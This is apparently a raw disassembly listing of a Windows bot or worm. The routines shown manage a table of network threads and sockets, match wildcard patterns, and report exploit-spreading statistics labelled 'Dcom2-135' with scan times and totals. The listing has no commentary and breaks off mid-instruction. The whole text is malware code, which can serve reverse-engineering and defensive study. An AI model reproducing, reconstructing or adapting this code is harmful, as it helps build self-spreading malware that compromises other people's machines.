arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40D33B ; --------------------------------------------------------------------------- loc_40D334: ; CODE XREF: sub_40D32A:loc_40D3D1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D33B: ; CODE XREF: sub_40D32A+8j cmp [ebp+var_4], 400h jge loc_40D3D6 mov eax, [ebp+var_4] imul eax, 234h movsx eax, byte_454418[eax] test eax, eax jnz short loc_40D3D1 push 1FFh push [ebp+arg_0] mov eax, [ebp+var_4] imul eax, 234h add eax, offset byte_454418 push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_4] imul eax, 234h mov ecx, [ebp+arg_4] mov dword_454618[eax], ecx mov eax, [ebp+var_4] imul eax, 234h and dword_45461C[eax], 0 mov eax, [ebp+var_4] imul eax, 234h and dword_454620[eax], 0 mov eax, [ebp+var_4] imul eax, 234h mov ecx, [ebp+arg_8] mov dword_454624[eax], ecx mov eax, [ebp+var_4] imul eax, 234h and byte_454630[eax], 0 jmp short loc_40D3D6 ; --------------------------------------------------------------------------- loc_40D3D1: ; CODE XREF: sub_40D32A+30j jmp loc_40D334 ; --------------------------------------------------------------------------- loc_40D3D6: ; CODE XREF: sub_40D32A+18j ; sub_40D32A+A5j mov eax, [ebp+var_4] leave retn sub_40D32A endp ; --------------------------------------------------------------------------- byte_40D3DB db 55h ; DATA XREF: sub_4021E5+2862o dd 0EC81EC8Bh, 9Ch, 758B5756h, 59266A08h, 0FF64BD8Dh, 0A5F3FFFFh dd 8908458Bh, 458BFC45h, 9480C7FCh, 1000000h, 0FF000000h dd 75FFEC75h, 68858DF0h, 50FFFFFFh, 0FF64B5FFh, 1AE8FFFFh dd 83000000h, 75FF10C4h, 3D8E8E8h, 6A590000h, 2BCEE800h dd 5F90023Fh, 4C2C95Eh, 0EC8B5500h, 204EC81h, 6A0000h dd 681075FFh, 448F64h, 0FF0C75FFh, 0B8E80875h, 83FFFFDBh dd 658314C4h, 7EB00FCh, 40FC458Bh, 81FC4589h, 400FC7Dh dd 6E7D0000h, 69FC458Bh, 234C0h, 80BE0F00h, 454418h, 5874C085h dd 147D83h, 458B1275h, 34C069FCh, 83000002h, 45461CB8h dd 40750000h, 69FC458Bh, 234C0h, 44180500h, 0FF500045h dd 7868FC75h, 8D00448Fh, 0FFFDFC85h, 1E850FFh, 83000145h dd 16A10C4h, 8D1075FFh, 0FFFDFC85h, 75FF50FFh, 875FF0Ch dd 0FFDB36E8h, 14C483FFh, 0C3C982EBh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4E0 proc near ; CODE XREF: sub_4021E5+45F7p ; sub_40D605+36p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jle loc_40D600 cmp [ebp+arg_0], 400h jge loc_40D600 push 0 mov eax, [ebp+arg_0] imul eax, 234h push dword_45462C[eax] nop call near ptr 27C0D51h mov eax, [ebp+arg_0] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_40D52F mov [ebp+var_4], 1 loc_40D52F: ; CODE XREF: sub_40D4E0+46j mov eax, [ebp+arg_0] imul eax, 234h and dword_45462C[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_454618[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_45461C[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h cmp dword_454620[eax], 0 jbe short loc_40D586 mov eax, [ebp+arg_0] imul eax, 234h push dword_454620[eax] call sub_41D190 pop ecx loc_40D586: ; CODE XREF: sub_40D4E0+8Fj mov eax, [ebp+arg_0] imul eax, 234h and dword_454620[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte_454418[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte_454630[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h push dword_454624[eax] call dword_4E1798 ; closesocket mov eax, [ebp+arg_0] imul eax, 234h and dword_454624[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h push dword_454628[eax] call dword_4E1798 ; closesocket mov eax, [ebp+arg_0] imul eax, 234h and dword_454628[eax], 0 loc_40D600: ; CODE XREF: sub_40D4E0+Cj ; sub_40D4E0+19j mov eax, [ebp+var_4] leave retn sub_40D4E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D605 proc near ; CODE XREF: sub_401567+18p ; sub_4016A7:loc_401DD8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40D61B ; --------------------------------------------------------------------------- loc_40D614: ; CODE XREF: sub_40D605:loc_40D64Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D61B: ; CODE XREF: sub_40D605+Dj cmp [ebp+var_4], 400h jge short loc_40D64E mov eax, [ebp+var_4] imul eax, 234h movsx eax, byte_454418[eax] test eax, eax jz short loc_40D64C push [ebp+var_4] call sub_40D4E0 pop ecx test eax, eax jz short loc_40D64C mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40D64C: ; CODE XREF: sub_40D605+31j ; sub_40D605+3Ej jmp short loc_40D614 ; --------------------------------------------------------------------------- loc_40D64E: ; CODE XREF: sub_40D605+1Dj mov eax, [ebp+var_8] leave retn sub_40D605 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D653 proc near ; CODE XREF: sub_4021E5+5684p ; sub_40D75C+2Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40D669 ; --------------------------------------------------------------------------- loc_40D662: ; CODE XREF: sub_40D653:loc_40D6D2j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D669: ; CODE XREF: sub_40D653+Dj cmp [ebp+var_4], 400h jge short loc_40D6D4 mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_454618[eax] cmp eax, [ebp+arg_0] jnz short loc_40D6D2 cmp [ebp+arg_4], 0 jle short loc_40D6BE mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_45461C[eax] cmp eax, [ebp+arg_4] jz short loc_40D6A8 mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnz short loc_40D6BC loc_40D6A8: ; CODE XREF: sub_40D653+4Bj push [ebp+var_4] call sub_40D4E0 pop ecx test eax, eax jz short loc_40D6BC mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40D6BC: ; CODE XREF: sub_40D653+53j ; sub_40D653+60j jmp short loc_40D6D2 ; --------------------------------------------------------------------------- loc_40D6BE: ; CODE XREF: sub_40D653+37j push [ebp+var_4] call sub_40D4E0 pop ecx test eax, eax jz short loc_40D6D2 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40D6D2: ; CODE XREF: sub_40D653+31j ; sub_40D653:loc_40D6BCj ... jmp short loc_40D662 ; --------------------------------------------------------------------------- loc_40D6D4: ; CODE XREF: sub_40D653+1Dj mov eax, [ebp+var_8] leave retn sub_40D653 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6D9 proc near ; CODE XREF: sub_4016A7+4EDp ; sub_4021E5+D63p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40D6EF ; --------------------------------------------------------------------------- loc_40D6E8: ; CODE XREF: sub_40D6D9:loc_40D713j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D6EF: ; CODE XREF: sub_40D6D9+Dj cmp [ebp+var_4], 400h jge short loc_40D715 mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_454618[eax] cmp eax, [ebp+arg_0] jnz short loc_40D713 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40D713: ; CODE XREF: sub_40D6D9+31j jmp short loc_40D6E8 ; --------------------------------------------------------------------------- loc_40D715: ; CODE XREF: sub_40D6D9+1Dj mov eax, [ebp+var_8] leave retn sub_40D6D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D71A proc near ; CODE XREF: sub_4021E5+3556p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40D730 ; --------------------------------------------------------------------------- loc_40D729: ; CODE XREF: sub_40D71A:loc_40D755j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D730: ; CODE XREF: sub_40D71A+Dj cmp [ebp+var_4], 400h jge short loc_40D757 mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_454618[eax] cmp eax, [ebp+arg_0] jnz short loc_40D755 mov eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D755: ; CODE XREF: sub_40D71A+31j jmp short loc_40D729 ; --------------------------------------------------------------------------- loc_40D757: ; CODE XREF: sub_40D71A+1Dj ; sub_40D71A+39j mov eax, [ebp+var_8] leave retn sub_40D71A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D75C proc near ; CODE XREF: sub_4021E5+1EF2p ; sub_4021E5+1F4Ap ... var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 208h and [ebp+var_208], 0 cmp [ebp+arg_1C], 0 jz short loc_40D781 push [ebp+arg_1C] call sub_421670 pop ecx mov [ebp+var_208], eax loc_40D781: ; CODE XREF: sub_40D75C+14j push [ebp+var_208] push [ebp+arg_18] call sub_40D653 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jle short loc_40D7B9 push [ebp+var_4] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" lea eax, [ebp+var_204] push eax call sub_4219C0 add esp, 14h jmp short loc_40D7D3 ; --------------------------------------------------------------------------- loc_40D7B9: ; CODE XREF: sub_40D75C+3Cj push [ebp+arg_14] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." lea eax, [ebp+var_204] push eax call sub_4219C0 add esp, 10h loc_40D7D3: ; CODE XREF: sub_40D75C+5Bj cmp [ebp+arg_C], 0 jnz short loc_40D7F3 push 0 push [ebp+arg_8] lea eax, [ebp+var_204] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_40D7F3: ; CODE XREF: sub_40D75C+7Bj lea eax, [ebp+var_204] push eax call sub_4173DC pop ecx leave retn sub_40D75C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D802 proc near ; CODE XREF: sub_401DEC+1D2p ; sub_40DF24+25Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] imul eax, 234h and dword_45462C[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_454618[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_45461C[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_454620[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_454624[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_454628[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte_454418[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte_454630[eax], 0 pop ebp retn sub_40D802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D887 proc near ; CODE XREF: sub_4021E5+1084p ; sub_40DAA0+D1p ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 1 jmp short loc_40D89D ; --------------------------------------------------------------------------- loc_40D896: ; CODE XREF: sub_40D887:loc_40D937j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax loc_40D89D: ; CODE XREF: sub_40D887+Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz loc_40D93C cmp [ebp+var_4], 1 jnz loc_40D93C mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40D93C mov eax, [ebp+arg_0] mov al, [eax] mov [ebp+var_8], al cmp [ebp+var_8], 2Ah jz short loc_40D8FF cmp [ebp+var_8], 3Fh jz short loc_40D8F6 cmp [ebp+var_8], 5Bh jz short loc_40D8DB jmp short loc_40D91A ; --------------------------------------------------------------------------- loc_40D8DB: ; CODE XREF: sub_40D887+50j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40D982 pop ecx pop ecx mov [ebp+var_4], eax jmp short loc_40D937 ; --------------------------------------------------------------------------- loc_40D8F6: ; CODE XREF: sub_40D887+4Aj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax jmp short loc_40D937 ; --------------------------------------------------------------------------- loc_40D8FF: ; CODE XREF: sub_40D887+44j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40DAA0 pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] dec eax mov [ebp+arg_0], eax jmp short loc_40D937 ; --------------------------------------------------------------------------- loc_40D91A: ; CODE XREF: sub_40D887+52j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_4], eax mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax loc_40D937: ; CODE XREF: sub_40D887+6Dj ; sub_40D887+76j ... jmp loc_40D896 ; --------------------------------------------------------------------------- loc_40D93C: ; CODE XREF: sub_40D887+1Ej ; sub_40D887+28j ... mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40D956 cmp [ebp+var_4], 1 jnz short loc_40D956 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40D93C ; --------------------------------------------------------------------------- loc_40D956: ; CODE XREF: sub_40D887+BEj ; sub_40D887+C4j cmp [ebp+var_4], 1 jnz short loc_40D979 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40D979 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40D979 mov [ebp+var_C], 1 jmp short loc_40D97D ; --------------------------------------------------------------------------- loc_40D979: ; CODE XREF: sub_40D887+D3j ; sub_40D887+DDj ... and [ebp+var_C], 0 loc_40D97D: ; CODE XREF: sub_40D887+F0j mov eax, [ebp+var_C] leave retn sub_40D887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D982 proc near ; CODE XREF: sub_40D887+63p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 mov [ebp+var_C], 1 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40D9B6 mov [ebp+var_8], 1 mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax loc_40D9B6: ; CODE XREF: sub_40D982+20j ; sub_40D982+F4j mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 5Dh jnz short loc_40D9CD cmp [ebp+var_C], 1 jnz loc_40DA7B loc_40D9CD: ; CODE XREF: sub_40D982+3Fj cmp [ebp+var_4], 0 jnz loc_40DA67 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 2Dh jnz short loc_40DA4C mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax-1] mov ecx, [ebp+arg_0] mov ecx, [ecx] movsx ecx, byte ptr [ecx+1] cmp eax, ecx jge short loc_40DA4C mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax+1] cmp eax, 5Dh jz short loc_40DA4C cmp [ebp+var_C], 0 jnz short loc_40DA4C mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] mov ecx, [ecx] movsx ecx, byte ptr [ecx-1] cmp eax, ecx jl short loc_40DA4A mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] mov ecx, [ecx] movsx ecx, byte ptr [ecx+1] cmp eax, ecx jg short loc_40DA4A mov [ebp+var_4], 1 mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax loc_40DA4A: ; CODE XREF: sub_40D982+9Fj ; sub_40D982+B4j jmp short loc_40DA67 ; --------------------------------------------------------------------------- loc_40DA4C: ; CODE XREF: sub_40D982+60j ; sub_40D982+76j ... mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] mov ecx, [ecx] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40DA67 mov [ebp+var_4], 1 loc_40DA67: ; CODE XREF: sub_40D982+4Fj ; sub_40D982:loc_40DA4Aj ... mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax and [ebp+var_C], 0 jmp loc_40D9B6 ; --------------------------------------------------------------------------- loc_40DA7B: ; CODE XREF: sub_40D982+45j cmp [ebp+var_8], 1 jnz short loc_40DA8A push 1 pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax loc_40DA8A: ; CODE XREF: sub_40D982+FDj cmp [ebp+var_4], 1 jnz short loc_40DA9B mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax loc_40DA9B: ; CODE XREF: sub_40D982+10Cj mov eax, [ebp+var_4] leave retn sub_40D982 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAA0 proc near ; CODE XREF: sub_40D887+80p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax loc_40DAB7: ; CODE XREF: sub_40DAA0+60j mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_40DB02 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 3Fh jz short loc_40DADD mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40DB02 loc_40DADD: ; CODE XREF: sub_40DAA0+2Ej mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40DAF5 mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax loc_40DAF5: ; CODE XREF: sub_40DAA0+48j mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax jmp short loc_40DAB7 ; --------------------------------------------------------------------------- loc_40DB02: ; CODE XREF: sub_40DAA0+21j ; sub_40DAA0+3Bj ... mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40DB1C mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax jmp short loc_40DB02 ; --------------------------------------------------------------------------- loc_40DB1C: ; CODE XREF: sub_40DAA0+6Dj mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40DB40 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_40DB40 and [ebp+var_4], 0 mov eax, [ebp+var_4] jmp locret_40DC28 ; --------------------------------------------------------------------------- loc_40DB40: ; CODE XREF: sub_40DAA0+86j ; sub_40DAA0+92j mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40DB67 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40DB67 mov [ebp+var_4], 1 mov eax, [ebp+var_4] jmp locret_40DC28 ; --------------------------------------------------------------------------- loc_40DB67: ; CODE XREF: sub_40DAA0+AAj ; sub_40DAA0+B6j mov eax, [ebp+arg_4] push dword ptr [eax] mov eax, [ebp+arg_0] push dword ptr [eax] call sub_40D887 pop ecx pop ecx test eax, eax jnz loc_40DC06 loc_40DB80: ; CODE XREF: sub_40DAA0+160j mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax loc_40DB8B: ; CODE XREF: sub_40DAA0+123j mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] mov ecx, [ecx] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_40DBC5 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 5Bh jz short loc_40DBC5 mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_40DBC5 mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_40DB8B ; --------------------------------------------------------------------------- loc_40DBC5: ; CODE XREF: sub_40DAA0+FDj ; sub_40DAA0+10Aj ... mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_40DBEC mov eax, [ebp+arg_4] push dword ptr [eax] mov eax, [ebp+arg_0] push dword ptr [eax] call sub_40D887 pop ecx pop ecx neg eax sbb eax, eax inc eax mov [ebp+var_8], eax jmp short loc_40DBFC ; --------------------------------------------------------------------------- loc_40DBEC: ; CODE XREF: sub_40DAA0+12Fj and [ebp+var_4], 0 xor eax, eax cmp [ebp+var_4], 0 setnz al mov [ebp+var_8], eax loc_40DBFC: ; CODE XREF: sub_40DAA0+14Aj cmp [ebp+var_8], 0 jnz loc_40DB80 loc_40DC06: ; CODE XREF: sub_40DAA0+DAj mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40DC25 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40DC25 mov [ebp+var_4], 1 loc_40DC25: ; CODE XREF: sub_40DAA0+170j ; sub_40DAA0+17Cj mov eax, [ebp+var_4] locret_40DC28: ; CODE XREF: sub_40DAA0+9Bj ; sub_40DAA0+C2j leave retn sub_40DAA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC2A proc near ; CODE XREF: sub_4021E5+234Dp var_408 = dword ptr -408h var_404 = byte ptr -404h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 408h and [ebp+var_408], 0 push offset unk_449378 lea eax, [ebp+var_404] push eax call sub_4219C0 pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_40DC63 ; --------------------------------------------------------------------------- loc_40DC56: ; CODE XREF: sub_40DC2A:loc_40DCEFj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_40DC63: ; CODE XREF: sub_40DC2A+2Aj mov eax, [ebp+var_204] shl eax, 6 cmp dword_448FE8[eax], 0 jz short loc_40DCF4 mov eax, [ebp+var_204] shl eax, 6 cmp dword_448FF0[eax], 0 jbe short loc_40DCEF mov eax, [ebp+var_204] shl eax, 6 mov ecx, [ebp+var_408] add ecx, dword_448FF0[eax] mov [ebp+var_408], ecx mov eax, [ebp+var_204] shl eax, 6 push dword_448FF0[eax] mov eax, [ebp+var_204] shl eax, 6 add eax, offset aDcom2135_0 ; "Dcom2-135" push eax push offset dword_449398 lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 10h push 200h lea eax, [ebp+var_200] push eax lea eax, [ebp+var_404] push eax call sub_422A20 add esp, 0Ch loc_40DCEF: ; CODE XREF: sub_40DC2A+5Bj jmp loc_40DC56 ; --------------------------------------------------------------------------- loc_40DCF4: ; CODE XREF: sub_40DC2A+49j push dword_4E141C call sub_41E075 pop ecx push eax push [ebp+var_408] push offset aTotalDInS_ ; " Total: %d in %s." lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 10h push 200h lea eax, [ebp+var_200] push eax lea eax, [ebp+var_404] push eax call sub_422A20 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_404] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_404] push eax call sub_4173DC pop ecx leave retn sub_40DC2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD5F proc near ; CODE XREF: sub_4021E5+23A6p var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 204h mov eax, dword_4E4220 add eax, dword_4E421C mov [ebp+var_4], eax push dword_4E141C call sub_41E075 pop ecx push eax push [ebp+var_4] push dword_4E4220 push dword_4E421C push offset unk_4493B8 lea eax, [ebp+var_204] push eax call sub_4219C0 add esp, 18h push 0 push [ebp+arg_8] lea eax, [ebp+var_204] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_204] push eax call sub_4173DC pop ecx leave retn sub_40DD5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DDCF proc near ; CODE XREF: sub_4021E5+23FFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4E141C call sub_41E075 pop ecx push eax push dword_4E4590 push offset unk_449400 lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 10h push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx leave retn sub_40DDCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE28 proc near ; CODE XREF: sub_4021E5+2458p var_1004 = byte ptr -1004h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1004h call sub_421EE0 push offset dword_44942C lea eax, [ebp+var_1004] push eax call sub_4219C0 pop ecx pop ecx and [ebp+var_804], 0 jmp short loc_40DE5E ; --------------------------------------------------------------------------- loc_40DE51: ; CODE XREF: sub_40DE28+95j mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_40DE5E: ; CODE XREF: sub_40DE28+27j mov eax, [ebp+var_804] shl eax, 6 cmp dword_448FE8[eax], 0 jz short loc_40DEBF mov eax, [ebp+var_804] shl eax, 6 add eax, offset aDcom2135 ; "dcom2-135" push eax mov eax, [ebp+var_804] shl eax, 6 add eax, offset aDcom2135_0 ; "Dcom2-135" push eax push offset dword_449448 lea eax, [ebp+var_800] push eax call sub_4219C0 add esp, 10h push 800h lea eax, [ebp+var_800] push eax lea eax, [ebp+var_1004] push eax call sub_422A20 add esp, 0Ch jmp short loc_40DE51 ; --------------------------------------------------------------------------- loc_40DEBF: ; CODE XREF: sub_40DE28+46j push dword_4E141C call sub_41E075 pop ecx push eax push offset aScanTimeS_ ; " Scan Time: %s." lea eax, [ebp+var_800] push eax call sub_4219C0 add esp, 0Ch push 800h lea eax, [ebp+var_800] push eax lea eax, [ebp+var_1004] push eax call sub_422A20 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_1004] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_1004] push eax call sub_4173DC pop ecx leave retn sub_40DE28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF24 proc near ; DATA XREF: sub_4021E5+40E7o var_3F8 = dword ptr -3F8h var_3F4 = byte ptr -3F4h var_3E4 = byte ptr -3E4h var_364 = byte ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_350 = dword ptr -350h var_348 = dword ptr -348h var_344 = dword ptr -344h var_33C = dword ptr -33Ch var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = byte ptr -330h var_320 = byte ptr -320h var_2A0 = byte ptr -2A0h var_220 = dword ptr -220h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F8h push esi push edi mov esi, [ebp+arg_0] push 4Bh pop ecx lea edi, [ebp+var_330] rep movsd mov eax, [ebp+arg_0] mov 